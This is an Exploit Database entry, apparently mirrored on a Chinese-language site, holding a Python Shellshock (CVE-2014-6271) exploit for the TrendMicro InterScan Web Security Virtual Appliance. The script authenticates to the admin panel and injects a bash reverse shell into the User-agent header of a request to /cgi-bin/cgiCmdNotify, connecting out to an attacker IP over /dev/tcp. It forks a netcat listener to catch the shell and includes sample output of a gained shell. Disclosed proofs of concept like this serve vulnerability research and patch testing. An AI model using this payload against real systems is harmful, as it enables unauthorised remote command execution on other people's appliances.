TrendMicro InterScan Web Security Virtual Appliance – ‘Shellshock’ Remote Command Injection

Exploit Database
131 阅读

作者： Hacker Fantastic

日期： 2016-10-21
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/40619/

#!/usr/bin/env python

# TrendMicro InterScan Web Security Virtul Appliance

# ==================================================

# InterScan Web Security is a software virtual appliance that

# dynamically protects against the ever-growing flood of web

# threats at the Internet gateway exclusively designed to secure

# you against traditional and emerging web threats at the Internet

# gateway. The appliance however is shipped with a vulnerable

# version of Bash susceptible to shellshock (I know right?). An

# attacker can exploit this vulnerability by calling the CGI

# shellscript "/cgi-bin/cgiCmdNotify" which can be exploited

# to perform arbitrary code execution. A limitation of this

# vulnerability is that the attacker must have credentials for

# the admin web interface to exploit this flaw. The panel runs

# over HTTP by default so a man-in-the-middle attack could be

# used to gain credentials and compromise the appliance.

# $ python trendmicro_IWSVA_shellshock.py 192.168.56.101 admin password 192.168.56.1

# [+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit

# [-] Authenticating to '192.168.56.101' with 'admin' 'password'

# [-] JSESSIONID = DDE38E62757ADC00A51311F1F953EEBA

# [-] exploiting shellshock CVE-2014-6271...

# bash: no job control in this shell

# bash-4.1$ id

# uid=498(iscan) gid=499(iscan) groups=499(iscan)

# -- Hacker Fantastic

# (https://www.myhackerhouse.com)

import requests

import sys

import os

def spawn_listener():

os.system("nc -l 8080")

def shellshock(ip,session,cbip):

user_agent = {'User-agent': '() { :; }; /bin/bash -i >& /dev/tcp/'+cbip+'/8080 0>&1'}

cookies = {'JSESSIONID': session}

print "[-] exploiting shellshock CVE-2014-6271..."

myreq = requests.get("http://"+ip+":1812/cgi-bin/cgiCmdNotify", headers = user_agent, cookies = cookies)

def login_http(ip,user,password):

mydata = {'wherefrom':'','wronglogon':'no','uid':user, 'passwd':password,'pwd':'Log+On'}

print "[-] Authenticating to '%s' with '%s' '%s'" % (ip,user,password)

myreq = requests.post("http://"+ip+":1812/uilogonsubmit.jsp", data=mydata)

session_cookie = myreq.history[0].cookies.get('JSESSIONID')

print "[-] JSESSIONID = %s" % session_cookie

return session_cookie

if __name__ == "__main__":

print "[+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit"

if len(sys.argv) < 5:

print "[-] use with <ip> <user> <pass> <connectback_ip>"

sys.exit()

newRef=os.fork()

if newRef==0:

spawn_listener()

else:

session = login_http(sys.argv[1],sys.argv[2],sys.argv[3])

shellshock(sys.argv[1],session,sys.argv[4])